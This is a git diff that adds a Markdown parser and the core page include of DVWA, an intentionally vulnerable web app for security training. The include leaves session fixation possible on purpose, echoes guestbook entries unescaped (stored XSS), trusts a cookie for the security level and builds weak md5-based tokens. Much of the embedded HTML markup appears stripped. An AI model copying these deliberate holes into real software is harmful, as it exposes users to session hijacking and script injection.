$Excerpt['text'][0]; + + if ($Excerpt['text'][1] === $marker and preg_match($this->StrongRegex[$marker], $Excerpt['text'], $matches)) + { + $emphasis = 'strong'; + } + elseif (preg_match($this->EmRegex[$marker], $Excerpt['text'], $matches)) + { + $emphasis = 'em'; + } + else + { + return; + } + + return array( + 'extent' => strlen($matches[0]), + 'element' => array( + 'name' => $emphasis, + 'handler' => array( + 'function' => 'lineElements', + 'argument' => $matches[1], + 'destination' => 'elements', + ) + ), + ); + } + + protected function inlineEscapeSequence($Excerpt) + { + if (isset($Excerpt['text'][1]) and in_array($Excerpt['text'][1], $this->specialCharacters)) + { + return array( + 'element' => array('rawHtml' => $Excerpt['text'][1]), + 'extent' => 2, + ); + } + } + + protected function inlineImage($Excerpt) + { + if ( ! isset($Excerpt['text'][1]) or $Excerpt['text'][1] !== '[') + { + return; + } + + $Excerpt['text']= substr($Excerpt['text'], 1); + + $Link = $this->inlineLink($Excerpt); + + if ($Link === null) + { + return; + } + + $Inline = array( + 'extent' => $Link['extent'] + 1, + 'element' => array( + 'name' => 'img', + 'attributes' => array( + 'src' => $Link['element']['attributes']['href'], + 'alt' => $Link['element']['handler']['argument'], + ), + 'autobreak' => true, + ), + ); + + $Inline['element']['attributes'] += $Link['element']['attributes']; + + unset($Inline['element']['attributes']['href']); + + return $Inline; + } + + protected function inlineLink($Excerpt) + { + $Element = array( + 'name' => 'a', + 'handler' => array( + 'function' => 'lineElements', + 'argument' => null, + 'destination' => 'elements', + ), + 'nonNestables' => array('Url', 'Link'), + 'attributes' => array( + 'href' => null, + 'title' => null, + ), + ); + + $extent = 0; + + $remainder = $Excerpt['text']; + + if (preg_match('/\[((?:[^][]++|(?R))*+)\]/', $remainder, $matches)) + { + $Element['handler']['argument'] = $matches[1]; + + $extent += strlen($matches[0]); + + $remainder = substr($remainder, $extent); + } + else + { + return; + } + + if (preg_match('/^[(]\s*+((?:[^ ()]++|[(][^ )]+[)])++)(?:[ ]+("[^"]*+"|\'[^\']*+\'))?\s*+[)]/', $remainder, $matches)) + { + $Element['attributes']['href'] = $matches[1]; + + if (isset($matches[2])) + { + $Element['attributes']['title'] = substr($matches[2], 1, - 1); + } + + $extent += strlen($matches[0]); + } + else + { + if (preg_match('/^\s*\[(.*?)\]/', $remainder, $matches)) + { + $definition = strlen($matches[1]) ? $matches[1] : $Element['handler']['argument']; + $definition = strtolower($definition); + + $extent += strlen($matches[0]); + } + else + { + $definition = strtolower($Element['handler']['argument']); + } + + if ( ! isset($this->DefinitionData['Reference'][$definition])) + { + return; + } + + $Definition = $this->DefinitionData['Reference'][$definition]; + + $Element['attributes']['href'] = $Definition['url']; + $Element['attributes']['title'] = $Definition['title']; + } + + return array( + 'extent' => $extent, + 'element' => $Element, + ); + } + + protected function inlineMarkup($Excerpt) + { + if ($this->markupEscaped or $this->safeMode or strpos($Excerpt['text'], '>') === false) + { + return; + } + + if ($Excerpt['text'][1] === '/' and preg_match('/^<\/\w[\w-]*+[ ]*+>/s', $Excerpt['text'], $matches)) + { + return array( + 'element' => array('rawHtml' => $matches[0]), + 'extent' => strlen($matches[0]), + ); + } + + if ($Excerpt['text'][1] === '!' and preg_match('/^/s', $Excerpt['text'], $matches)) + { + return array( + 'element' => array('rawHtml' => $matches[0]), + 'extent' => strlen($matches[0]), + ); + } + + if ($Excerpt['text'][1] !== ' ' and preg_match('/^<\w[\w-]*+(?:[ ]*+'.$this->regexHtmlAttribute.')*+[ ]*+\/?>/s', $Excerpt['text'], $matches)) + { + return array( + 'element' => array('rawHtml' => $matches[0]), + 'extent' => strlen($matches[0]), + ); + } + } + + protected function inlineSpecialCharacter($Excerpt) + { + if (substr($Excerpt['text'], 1, 1) !== ' ' and strpos($Excerpt['text'], ';') !== false + and preg_match('/^&(#?+[0-9a-zA-Z]++);/', $Excerpt['text'], $matches) + ) { + return array( + 'element' => array('rawHtml' => '&' . $matches[1] . ';'), + 'extent' => strlen($matches[0]), + ); + } + + return; + } + + protected function inlineStrikethrough($Excerpt) + { + if ( ! isset($Excerpt['text'][1])) + { + return; + } + + if ($Excerpt['text'][1] === '~' and preg_match('/^~~(?=\S)(.+?)(?<=\S)~~/', $Excerpt['text'], $matches)) + { + return array( + 'extent' => strlen($matches[0]), + 'element' => array( + 'name' => 'del', + 'handler' => array( + 'function' => 'lineElements', + 'argument' => $matches[1], + 'destination' => 'elements', + ) + ), + ); + } + } + + protected function inlineUrl($Excerpt) + { + if ($this->urlsLinked !== true or ! isset($Excerpt['text'][2]) or $Excerpt['text'][2] !== '/') + { + return; + } + + if (strpos($Excerpt['context'], 'http') !== false + and preg_match('/\bhttps?+:[\/]{2}[^\s<]+\b\/*+/ui', $Excerpt['context'], $matches, PREG_OFFSET_CAPTURE) + ) { + $url = $matches[0][0]; + + $Inline = array( + 'extent' => strlen($matches[0][0]), + 'position' => $matches[0][1], + 'element' => array( + 'name' => 'a', + 'text' => $url, + 'attributes' => array( + 'href' => $url, + ), + ), + ); + + return $Inline; + } + } + + protected function inlineUrlTag($Excerpt) + { + if (strpos($Excerpt['text'], '>') !== false and preg_match('/^<(\w++:\/{2}[^ >]++)>/i', $Excerpt['text'], $matches)) + { + $url = $matches[1]; + + return array( + 'extent' => strlen($matches[0]), + 'element' => array( + 'name' => 'a', + 'text' => $url, + 'attributes' => array( + 'href' => $url, + ), + ), + ); + } + } + + # ~ + + protected function unmarkedText($text) + { + $Inline = $this->inlineText($text); + return $this->element($Inline['element']); + } + + # + # Handlers + # + + protected function handle(array $Element) + { + if (isset($Element['handler'])) + { + if (!isset($Element['nonNestables'])) + { + $Element['nonNestables'] = array(); + } + + if (is_string($Element['handler'])) + { + $function = $Element['handler']; + $argument = $Element['text']; + unset($Element['text']); + $destination = 'rawHtml'; + } + else + { + $function = $Element['handler']['function']; + $argument = $Element['handler']['argument']; + $destination = $Element['handler']['destination']; + } + + $Element[$destination] = $this->{$function}($argument, $Element['nonNestables']); + + if ($destination === 'handler') + { + $Element = $this->handle($Element); + } + + unset($Element['handler']); + } + + return $Element; + } + + protected function handleElementRecursive(array $Element) + { + return $this->elementApplyRecursive(array($this, 'handle'), $Element); + } + + protected function handleElementsRecursive(array $Elements) + { + return $this->elementsApplyRecursive(array($this, 'handle'), $Elements); + } + + protected function elementApplyRecursive($closure, array $Element) + { + $Element = call_user_func($closure, $Element); + + if (isset($Element['elements'])) + { + $Element['elements'] = $this->elementsApplyRecursive($closure, $Element['elements']); + } + elseif (isset($Element['element'])) + { + $Element['element'] = $this->elementApplyRecursive($closure, $Element['element']); + } + + return $Element; + } + + protected function elementApplyRecursiveDepthFirst($closure, array $Element) + { + if (isset($Element['elements'])) + { + $Element['elements'] = $this->elementsApplyRecursiveDepthFirst($closure, $Element['elements']); + } + elseif (isset($Element['element'])) + { + $Element['element'] = $this->elementsApplyRecursiveDepthFirst($closure, $Element['element']); + } + + $Element = call_user_func($closure, $Element); + + return $Element; + } + + protected function elementsApplyRecursive($closure, array $Elements) + { + foreach ($Elements as &$Element) + { + $Element = $this->elementApplyRecursive($closure, $Element); + } + + return $Elements; + } + + protected function elementsApplyRecursiveDepthFirst($closure, array $Elements) + { + foreach ($Elements as &$Element) + { + $Element = $this->elementApplyRecursiveDepthFirst($closure, $Element); + } + + return $Elements; + } + + protected function element(array $Element) + { + if ($this->safeMode) + { + $Element = $this->sanitiseElement($Element); + } + + # identity map if element has no handler + $Element = $this->handle($Element); + + $hasName = isset($Element['name']); + + $markup = ''; + + if ($hasName) + { + $markup .= '<' . $Element['name']; + + if (isset($Element['attributes'])) + { + foreach ($Element['attributes'] as $name => $value) + { + if ($value === null) + { + continue; + } + + $markup .= " $name=\"".self::escape($value).'"'; + } + } + } + + $permitRawHtml = false; + + if (isset($Element['text'])) + { + $text = $Element['text']; + } + // very strongly consider an alternative if you're writing an + // extension + elseif (isset($Element['rawHtml'])) + { + $text = $Element['rawHtml']; + + $allowRawHtmlInSafeMode = isset($Element['allowRawHtmlInSafeMode']) && $Element['allowRawHtmlInSafeMode']; + $permitRawHtml = !$this->safeMode || $allowRawHtmlInSafeMode; + } + + $hasContent = isset($text) || isset($Element['element']) || isset($Element['elements']); + + if ($hasContent) + { + $markup .= $hasName ? '>' : ''; + + if (isset($Element['elements'])) + { + $markup .= $this->elements($Element['elements']); + } + elseif (isset($Element['element'])) + { + $markup .= $this->element($Element['element']); + } + else + { + if (!$permitRawHtml) + { + $markup .= self::escape($text, true); + } + else + { + $markup .= $text; + } + } + + $markup .= $hasName ? '' : ''; + } + elseif ($hasName) + { + $markup .= ' />'; + } + + return $markup; + } + + protected function elements(array $Elements) + { + $markup = ''; + + $autoBreak = true; + + foreach ($Elements as $Element) + { + if (empty($Element)) + { + continue; + } + + $autoBreakNext = (isset($Element['autobreak']) + ? $Element['autobreak'] : isset($Element['name']) + ); + // (autobreak === false) covers both sides of an element + $autoBreak = !$autoBreak ? $autoBreak : $autoBreakNext; + + $markup .= ($autoBreak ? "\n" : '') . $this->element($Element); + $autoBreak = $autoBreakNext; + } + + $markup .= $autoBreak ? "\n" : ''; + + return $markup; + } + + # ~ + + protected function li($lines) + { + $Elements = $this->linesElements($lines); + + if ( ! in_array('', $lines) + and isset($Elements[0]) and isset($Elements[0]['name']) + and $Elements[0]['name'] === 'p' + ) { + unset($Elements[0]['name']); + } + + return $Elements; + } + + # + # AST Convenience + # + + /** + * Replace occurrences $regexp with $Elements in $text. Return an array of + * elements representing the replacement. + */ + protected static function pregReplaceElements($regexp, $Elements, $text) + { + $newElements = array(); + + while (preg_match($regexp, $text, $matches, PREG_OFFSET_CAPTURE)) + { + $offset = $matches[0][1]; + $before = substr($text, 0, $offset); + $after = substr($text, $offset + strlen($matches[0][0])); + + $newElements[] = array('text' => $before); + + foreach ($Elements as $Element) + { + $newElements[] = $Element; + } + + $text = $after; + } + + $newElements[] = array('text' => $text); + + return $newElements; + } + + # + # Deprecated Methods + # + + function parse($text) + { + $markup = $this->text($text); + + return $markup; + } + + protected function sanitiseElement(array $Element) + { + static $goodAttribute = '/^[a-zA-Z0-9][a-zA-Z0-9-_]*+$/'; + static $safeUrlNameToAtt = array( + 'a' => 'href', + 'img' => 'src', + ); + + if ( ! isset($Element['name'])) + { + unset($Element['attributes']); + return $Element; + } + + if (isset($safeUrlNameToAtt[$Element['name']])) + { + $Element = $this->filterUnsafeUrlInAttribute($Element, $safeUrlNameToAtt[$Element['name']]); + } + + if ( ! empty($Element['attributes'])) + { + foreach ($Element['attributes'] as $att => $val) + { + # filter out badly parsed attribute + if ( ! preg_match($goodAttribute, $att)) + { + unset($Element['attributes'][$att]); + } + # dump onevent attribute + elseif (self::striAtStart($att, 'on')) + { + unset($Element['attributes'][$att]); + } + } + } + + return $Element; + } + + protected function filterUnsafeUrlInAttribute(array $Element, $attribute) + { + foreach ($this->safeLinksWhitelist as $scheme) + { + if (self::striAtStart($Element['attributes'][$attribute], $scheme)) + { + return $Element; + } + } + + $Element['attributes'][$attribute] = str_replace(':', '%3A', $Element['attributes'][$attribute]); + + return $Element; + } + + # + # Static Methods + # + + protected static function escape($text, $allowQuotes = false) + { + return htmlspecialchars($text, $allowQuotes ? ENT_NOQUOTES : ENT_QUOTES, 'UTF-8'); + } + + protected static function striAtStart($string, $needle) + { + $len = strlen($needle); + + if ($len > strlen($string)) + { + return false; + } + else + { + return strtolower(substr($string, 0, $len)) === strtolower($needle); + } + } + + static function instance($name = 'default') + { + if (isset(self::$instances[$name])) + { + return self::$instances[$name]; + } + + $instance = new static(); + + self::$instances[$name] = $instance; + + return $instance; + } + + private static $instances = array(); + + # + # Fields + # + + protected $DefinitionData; + + # + # Read-Only + + protected $specialCharacters = array( + '\\', '`', '*', '_', '{', '}', '[', ']', '(', ')', '>', '#', '+', '-', '.', '!', '|', '~' + ); + + protected $StrongRegex = array( + '*' => '/^[*]{2}((?:\\\\\*|[^*]|[*][^*]*+[*])+?)[*]{2}(?![*])/s', + '_' => '/^__((?:\\\\_|[^_]|_[^_]*+_)+?)__(?!_)/us', + ); + + protected $EmRegex = array( + '*' => '/^[*]((?:\\\\\*|[^*]|[*][*][^*]+?[*][*])+?)[*](?![*])/s', + '_' => '/^_((?:\\\\_|[^_]|__[^_]*__)+?)_(?!_)\b/us', + ); + + protected $regexHtmlAttribute = '[a-zA-Z_:][\w:.-]*+(?:\s*+=\s*+(?:[^"\'=<>`\s]+|"[^"]*+"|\'[^\']*+\'))?+'; + + protected $voidElements = array( + 'area', 'base', 'br', 'col', 'command', 'embed', 'hr', 'img', 'input', 'link', 'meta', 'param', 'source', + ); + + protected $textLevelElements = array( + 'a', 'br', 'bdo', 'abbr', 'blink', 'nextid', 'acronym', 'basefont', + 'b', 'em', 'big', 'cite', 'small', 'spacer', 'listing', + 'i', 'rp', 'del', 'code', 'strike', 'marquee', + 'q', 'rt', 'ins', 'font', 'strong', + 's', 'tt', 'kbd', 'mark', + 'u', 'xm', 'sub', 'nobr', + 'sup', 'ruby', + 'var', 'span', + 'wbr', 'time', + ); +} diff --git a/DVWA/dvwa/includes/dvwaPage.inc.php b/DVWA/dvwa/includes/dvwaPage.inc.php new file mode 100644 index 00000000..e33b7afb --- /dev/null +++ b/DVWA/dvwa/includes/dvwaPage.inc.php @@ -0,0 +1,691 @@ + $maxlifetime, + 'path' => '/', + 'domain' => $domain, + 'secure' => $secure, + 'httponly' => $httponly, + 'samesite' => $samesite + ]); + + /* + * We need to force a new Set-Cookie header with the updated flags by updating + * the session id, either regenerating it or setting it to a value, because + * session_start() might not generate a Set-Cookie header if a cookie already + * exists. + * + * For impossible security level, we regenerate the session id, PHP will + * generate a new random id. This is good security practice because it + * prevents the reuse of a previous unauthenticated id that an attacker + * might have knowledge of (aka session fixation attack). + * + * For lower levels, we want to allow session fixation attacks, so if an id + * already exists, we don't want it to change after authentication. We thus + * set the id to its previous value using session_id(), which will force + * the Set-Cookie header. + */ + if ($security_level == 'impossible') { + session_start(); + session_regenerate_id(); // force a new id to be generated + } + else { + if (isset($_COOKIE[session_name()])) // if a session id already exists + session_id($_COOKIE[session_name()]); // we keep the same id + session_start(); // otherwise a new one will be generated here + } +} + +if (array_key_exists ("Login", $_POST) && $_POST['Login'] == "Login") { + dvwa_start_session(); +} else { + if (!session_id()) { + session_start(); + } +} + +if (!array_key_exists ("default_locale", $_DVWA)) { + $_DVWA[ 'default_locale' ] = "en"; +} + +dvwaLocaleSet( $_DVWA[ 'default_locale' ] ); + +// Start session functions -- + +function &dvwaSessionGrab() { + if( !isset( $_SESSION[ 'dvwa' ] ) ) { + $_SESSION[ 'dvwa' ] = array(); + } + return $_SESSION[ 'dvwa' ]; +} + + +function dvwaPageStartup( $pActions ) { + if (in_array('authenticated', $pActions)) { + if( !dvwaIsLoggedIn()) { + dvwaRedirect( DVWA_WEB_PAGE_TO_ROOT . 'login.php' ); + } + } +} + +function dvwaLogin( $pUsername ) { + $dvwaSession =& dvwaSessionGrab(); + $dvwaSession[ 'username' ] = $pUsername; +} + + +function dvwaIsLoggedIn() { + global $_DVWA; + + if (array_key_exists("disable_authentication", $_DVWA) && $_DVWA['disable_authentication']) { + return true; + } + $dvwaSession =& dvwaSessionGrab(); + return isset( $dvwaSession[ 'username' ] ); +} + + +function dvwaLogout() { + $dvwaSession =& dvwaSessionGrab(); + unset( $dvwaSession[ 'username' ] ); +} + + +function dvwaPageReload() { + if ( array_key_exists( 'HTTP_X_FORWARDED_PREFIX' , $_SERVER )) { + dvwaRedirect( $_SERVER[ 'HTTP_X_FORWARDED_PREFIX' ] . $_SERVER[ 'PHP_SELF' ] ); + } + else { + dvwaRedirect( $_SERVER[ 'PHP_SELF' ] ); + } +} + +function dvwaCurrentUser() { + $dvwaSession =& dvwaSessionGrab(); + return ( isset( $dvwaSession[ 'username' ]) ? $dvwaSession[ 'username' ] : 'Unknown') ; +} + +// -- END (Session functions) + +function &dvwaPageNewGrab() { + $returnArray = array( + 'title' => 'Damn Vulnerable Web Application (DVWA)', + 'title_separator' => ' :: ', + 'body' => '', + 'page_id' => '', + 'help_button' => '', + 'source_button' => '', + ); + return $returnArray; +} + + +function dvwaThemeGet() { + if (isset($_COOKIE['theme'])) { + return $_COOKIE[ 'theme' ]; + } + return 'light'; +} + + +function dvwaSecurityLevelGet() { + global $_DVWA; + + // If there is a security cookie, that takes priority. + if (isset($_COOKIE['security'])) { + return $_COOKIE[ 'security' ]; + } + + // If not, check to see if authentication is disabled, if it is, use + // the default security level. + if (array_key_exists("disable_authentication", $_DVWA) && $_DVWA['disable_authentication']) { + return $_DVWA[ 'default_security_level' ]; + } + + // Worse case, set the level to impossible. + return 'impossible'; +} + + +function dvwaSecurityLevelSet( $pSecurityLevel ) { + if( $pSecurityLevel == 'impossible' ) { + $httponly = true; + } + else { + $httponly = false; + } + + setcookie( 'security', $pSecurityLevel, 0, "/", "", false, $httponly ); + $_COOKIE['security'] = $pSecurityLevel; +} + +function dvwaLocaleGet() { + $dvwaSession =& dvwaSessionGrab(); + return $dvwaSession[ 'locale' ]; +} + +function dvwaSQLiDBGet() { + global $_DVWA; + return $_DVWA['SQLI_DB']; +} + +function dvwaLocaleSet( $pLocale ) { + $dvwaSession =& dvwaSessionGrab(); + $locales = array('en', 'zh'); + if( in_array( $pLocale, $locales) ) { + $dvwaSession[ 'locale' ] = $pLocale; + } else { + $dvwaSession[ 'locale' ] = 'en'; + } +} + +// Start message functions -- + +function dvwaMessagePush( $pMessage ) { + $dvwaSession =& dvwaSessionGrab(); + if( !isset( $dvwaSession[ 'messages' ] ) ) { + $dvwaSession[ 'messages' ] = array(); + } + $dvwaSession[ 'messages' ][] = $pMessage; +} + + +function dvwaMessagePop() { + $dvwaSession =& dvwaSessionGrab(); + if( !isset( $dvwaSession[ 'messages' ] ) || count( $dvwaSession[ 'messages' ] ) == 0 ) { + return false; + } + return array_shift( $dvwaSession[ 'messages' ] ); +} + + +function messagesPopAllToHtml() { + $messagesHtml = ''; + while( $message = dvwaMessagePop() ) { // TODO- sharpen! + $messagesHtml .= "
{$message}
"; + } + + return $messagesHtml; +} + +// --END (message functions) + +function dvwaHtmlEcho( $pPage ) { + $menuBlocks = array(); + + $menuBlocks[ 'home' ] = array(); + if( dvwaIsLoggedIn() ) { + $menuBlocks[ 'home' ][] = array( 'id' => 'home', 'name' => 'Home', 'url' => '.' ); + $menuBlocks[ 'home' ][] = array( 'id' => 'instructions', 'name' => 'Instructions', 'url' => 'instructions.php' ); + $menuBlocks[ 'home' ][] = array( 'id' => 'setup', 'name' => 'Setup / Reset DB', 'url' => 'setup.php' ); + } + else { + $menuBlocks[ 'home' ][] = array( 'id' => 'setup', 'name' => 'Setup DVWA', 'url' => 'setup.php' ); + $menuBlocks[ 'home' ][] = array( 'id' => 'instructions', 'name' => 'Instructions', 'url' => 'instructions.php' ); + } + + if( dvwaIsLoggedIn() ) { + $menuBlocks[ 'vulnerabilities' ] = array(); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'brute', 'name' => 'Brute Force', 'url' => 'vulnerabilities/brute/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'exec', 'name' => 'Command Injection', 'url' => 'vulnerabilities/exec/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'csrf', 'name' => 'CSRF', 'url' => 'vulnerabilities/csrf/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'fi', 'name' => 'File Inclusion', 'url' => 'vulnerabilities/fi/.?page=include.php' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'upload', 'name' => 'File Upload', 'url' => 'vulnerabilities/upload/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'captcha', 'name' => 'Insecure CAPTCHA', 'url' => 'vulnerabilities/captcha/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'sqli', 'name' => 'SQL Injection', 'url' => 'vulnerabilities/sqli/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'sqli_blind', 'name' => 'SQL Injection (Blind)', 'url' => 'vulnerabilities/sqli_blind/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'weak_id', 'name' => 'Weak Session IDs', 'url' => 'vulnerabilities/weak_id/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'xss_d', 'name' => 'XSS (DOM)', 'url' => 'vulnerabilities/xss_d/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'xss_r', 'name' => 'XSS (Reflected)', 'url' => 'vulnerabilities/xss_r/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'xss_s', 'name' => 'XSS (Stored)', 'url' => 'vulnerabilities/xss_s/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'csp', 'name' => 'CSP Bypass', 'url' => 'vulnerabilities/csp/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'javascript', 'name' => 'JavaScript', 'url' => 'vulnerabilities/javascript/' ); + if (dvwaCurrentUser() == "admin") { + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'authbypass', 'name' => 'Authorisation Bypass', 'url' => 'vulnerabilities/authbypass/' ); + } + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'open_redirect', 'name' => 'Open HTTP Redirect', 'url' => 'vulnerabilities/open_redirect/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'encryption', 'name' => 'Cryptography', 'url' => 'vulnerabilities/cryptography/' ); + $menuBlocks[ 'vulnerabilities' ][] = array( 'id' => 'api', 'name' => 'API', 'url' => 'vulnerabilities/api/' ); + } + + $menuBlocks[ 'meta' ] = array(); + if( dvwaIsLoggedIn() ) { + $menuBlocks[ 'meta' ][] = array( 'id' => 'security', 'name' => 'DVWA Security', 'url' => 'security.php' ); + $menuBlocks[ 'meta' ][] = array( 'id' => 'phpinfo', 'name' => 'PHP Info', 'url' => 'phpinfo.php' ); + } + $menuBlocks[ 'meta' ][] = array( 'id' => 'about', 'name' => 'About', 'url' => 'about.php' ); + + if( dvwaIsLoggedIn() ) { + $menuBlocks[ 'logout' ] = array(); + $menuBlocks[ 'logout' ][] = array( 'id' => 'logout', 'name' => 'Logout', 'url' => 'logout.php' ); + } + + $menuHtml = ''; + + foreach( $menuBlocks as $menuBlock ) { + $menuBlockHtml = ''; + foreach( $menuBlock as $menuItem ) { + $selectedClass = ( $menuItem[ 'id' ] == $pPage[ 'page_id' ] ) ? 'selected' : ''; + $fixedUrl = DVWA_WEB_PAGE_TO_ROOT.$menuItem[ 'url' ]; + $menuBlockHtml .= "
  • {$menuItem[ 'name' ]}
  • \n"; + } + $menuHtml .= "
      {$menuBlockHtml}
    "; + } + + // Get security cookie -- + $securityLevelHtml = ''; + switch( dvwaSecurityLevelGet() ) { + case 'low': + $securityLevelHtml = 'low'; + break; + case 'medium': + $securityLevelHtml = 'medium'; + break; + case 'high': + $securityLevelHtml = 'high'; + break; + default: + $securityLevelHtml = 'impossible'; + break; + } + // -- END (security cookie) + + $userInfoHtml = 'Username: ' . ( dvwaCurrentUser() ); + $securityLevelHtml = "Security Level: {$securityLevelHtml}"; + $localeHtml = 'Locale: ' . ( dvwaLocaleGet() ); + $sqliDbHtml = 'SQLi DB: ' . ( dvwaSQLiDBGet() ); + + + $messagesHtml = messagesPopAllToHtml(); + if( $messagesHtml ) { + $messagesHtml = "
    {$messagesHtml}
    "; + } + + $systemInfoHtml = ""; + if( dvwaIsLoggedIn() ) + $systemInfoHtml = "
    {$userInfoHtml}
    {$securityLevelHtml}
    {$localeHtml}
    {$sqliDbHtml}
    "; + if( $pPage[ 'source_button' ] ) { + $systemInfoHtml = dvwaButtonSourceHtmlGet( $pPage[ 'source_button' ] ) . " $systemInfoHtml"; + } + if( $pPage[ 'help_button' ] ) { + $systemInfoHtml = dvwaButtonHelpHtmlGet( $pPage[ 'help_button' ] ) . " $systemInfoHtml"; + } + + // Send Headers + main HTML code + Header( 'Cache-Control: no-cache, must-revalidate'); // HTTP/1.1 + Header( 'Content-Type: text/html;charset=utf-8' ); // TODO- proper XHTML headers... + Header( 'Expires: Tue, 23 Jun 2009 12:00:00 GMT' ); // Date in the past + + echo " + + + + + + + {$pPage[ 'title' ]} + + + + + + + + + + +
    + +
    + + \"Damn + + \"Damn + +
    + +
    + +
    + {$menuHtml} +
    + +
    + +
    + + {$pPage[ 'body' ]} +

    + {$messagesHtml} + +
    + +
    +
    + +
    + {$systemInfoHtml} +
    + +
    + +

    Damn Vulnerable Web Application (DVWA)

    + + +
    + +
    + + + +"; +} + + +function dvwaHelpHtmlEcho( $pPage ) { + // Send Headers + Header( 'Cache-Control: no-cache, must-revalidate'); // HTTP/1.1 + Header( 'Content-Type: text/html;charset=utf-8' ); // TODO- proper XHTML headers... + Header( 'Expires: Tue, 23 Jun 2009 12:00:00 GMT' ); // Date in the past + + echo " + + + + + + + + {$pPage[ 'title' ]} + + + + + + + + + +
    + + {$pPage[ 'body' ]} + +
    + + + +"; +} + + +function dvwaSourceHtmlEcho( $pPage ) { + // Send Headers + Header( 'Cache-Control: no-cache, must-revalidate'); // HTTP/1.1 + Header( 'Content-Type: text/html;charset=utf-8' ); // TODO- proper XHTML headers... + Header( 'Expires: Tue, 23 Jun 2009 12:00:00 GMT' ); // Date in the past + + echo " + + + + + + + + {$pPage[ 'title' ]} + + + + + + + + + +
    + + {$pPage[ 'body' ]} + +
    + + + +"; +} + +// To be used on all external links -- +function dvwaExternalLinkUrlGet( $pLink,$text=null ) { + if(is_null( $text ) || $text == "") { + return '' . $pLink . ''; + } + else { + return '' . $text . ''; + } +} +// -- END ( external links) + +function dvwaButtonHelpHtmlGet( $pId ) { + $security = dvwaSecurityLevelGet(); + $locale = dvwaLocaleGet(); + return ""; +} + + +function dvwaButtonSourceHtmlGet( $pId ) { + $security = dvwaSecurityLevelGet(); + return ""; +} + + +// Database Management -- + +if( $DBMS == 'MySQL' ) { + $DBMS = htmlspecialchars(strip_tags( $DBMS )); +} +elseif( $DBMS == 'PGSQL' ) { + $DBMS = htmlspecialchars(strip_tags( $DBMS )); +} +else { + $DBMS = "No DBMS selected."; +} + +function dvwaDatabaseConnect() { + global $_DVWA; + global $DBMS; + //global $DBMS_connError; + global $db; + global $sqlite_db_connection; + + if( $DBMS == 'MySQL' ) { + if( !@($GLOBALS["___mysqli_ston"] = mysqli_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DVWA[ 'db_password' ], "", $_DVWA[ 'db_port' ] )) + || !@((bool)mysqli_query($GLOBALS["___mysqli_ston"], "USE " . $_DVWA[ 'db_database' ])) ) { + //die( $DBMS_connError ); + dvwaLogout(); + dvwaMessagePush( 'Unable to connect to the database.
    ' . mysqli_error($GLOBALS["___mysqli_ston"])); + dvwaRedirect( DVWA_WEB_PAGE_TO_ROOT . 'setup.php' ); + } + // MySQL PDO Prepared Statements (for impossible levels) + $db = new PDO('mysql:host=' . $_DVWA[ 'db_server' ].';dbname=' . $_DVWA[ 'db_database' ].';port=' . $_DVWA['db_port'] . ';charset=utf8', $_DVWA[ 'db_user' ], $_DVWA[ 'db_password' ]); + $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); + } + elseif( $DBMS == 'PGSQL' ) { + //$dbconn = pg_connect("host={$_DVWA[ 'db_server' ]} dbname={$_DVWA[ 'db_database' ]} user={$_DVWA[ 'db_user' ]} password={$_DVWA[ 'db_password' ])}" + //or die( $DBMS_connError ); + dvwaMessagePush( 'PostgreSQL is not currently supported.' ); + dvwaPageReload(); + } + else { + die ( "Unknown {$DBMS} selected." ); + } + + if ($_DVWA['SQLI_DB'] == SQLITE) { + $location = DVWA_WEB_PAGE_TO_ROOT . "database/" . $_DVWA['SQLITE_DB']; + $sqlite_db_connection = new SQLite3($location); + $sqlite_db_connection->enableExceptions(true); + # print "sqlite db setup"; + } +} + +// -- END (Database Management) + + +function dvwaRedirect( $pLocation ) { + session_commit(); + header( "Location: {$pLocation}" ); + exit; +} + +// XSS Stored guestbook function -- +function dvwaGuestbook() { + $query = "SELECT name, comment FROM guestbook"; + $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); + + $guestbook = ''; + + while( $row = mysqli_fetch_row( $result ) ) { + if( dvwaSecurityLevelGet() == 'impossible' ) { + $name = htmlspecialchars( $row[0] ); + $comment = htmlspecialchars( $row[1] ); + } + else { + $name = $row[0]; + $comment = $row[1]; + } + + $guestbook .= "
    Name: {$name}
    " . "Message: {$comment}
    \n"; + } + return $guestbook; +} +// -- END (XSS Stored guestbook) + + +// Token functions -- +function checkToken( $user_token, $session_token, $returnURL ) { # Validate the given (CSRF) token + global $_DVWA; + + if (array_key_exists("disable_authentication", $_DVWA) && $_DVWA['disable_authentication']) { + return true; + } + + if( $user_token !== $session_token || !isset( $session_token ) ) { + dvwaMessagePush( 'CSRF token is incorrect' ); + dvwaRedirect( $returnURL ); + } +} + +function generateSessionToken() { # Generate a brand new (CSRF) token + if( isset( $_SESSION[ 'session_token' ] ) ) { + destroySessionToken(); + } + $_SESSION[ 'session_token' ] = md5( uniqid() ); +} + +function destroySessionToken() { # Destroy any session with the name 'session_token' + unset( $_SESSION[ 'session_token' ] ); +} + +function tokenField() { # Return a field for the (CSRF) token + return ""; +} +// -- END (Token functions) + + +// Setup Functions -- +$PHPUploadPath = realpath( getcwd() . DIRECTORY_SEPARATOR . DVWA_WEB_PAGE_TO_ROOT . "hackable" . DIRECTORY_SEPARATOR . "uploads" ) . DIRECTORY_SEPARATOR; +$PHPCONFIGPath = realpath( getcwd() . DIRECTORY_SEPARATOR . DVWA_WEB_PAGE_TO_ROOT . "config"); + + 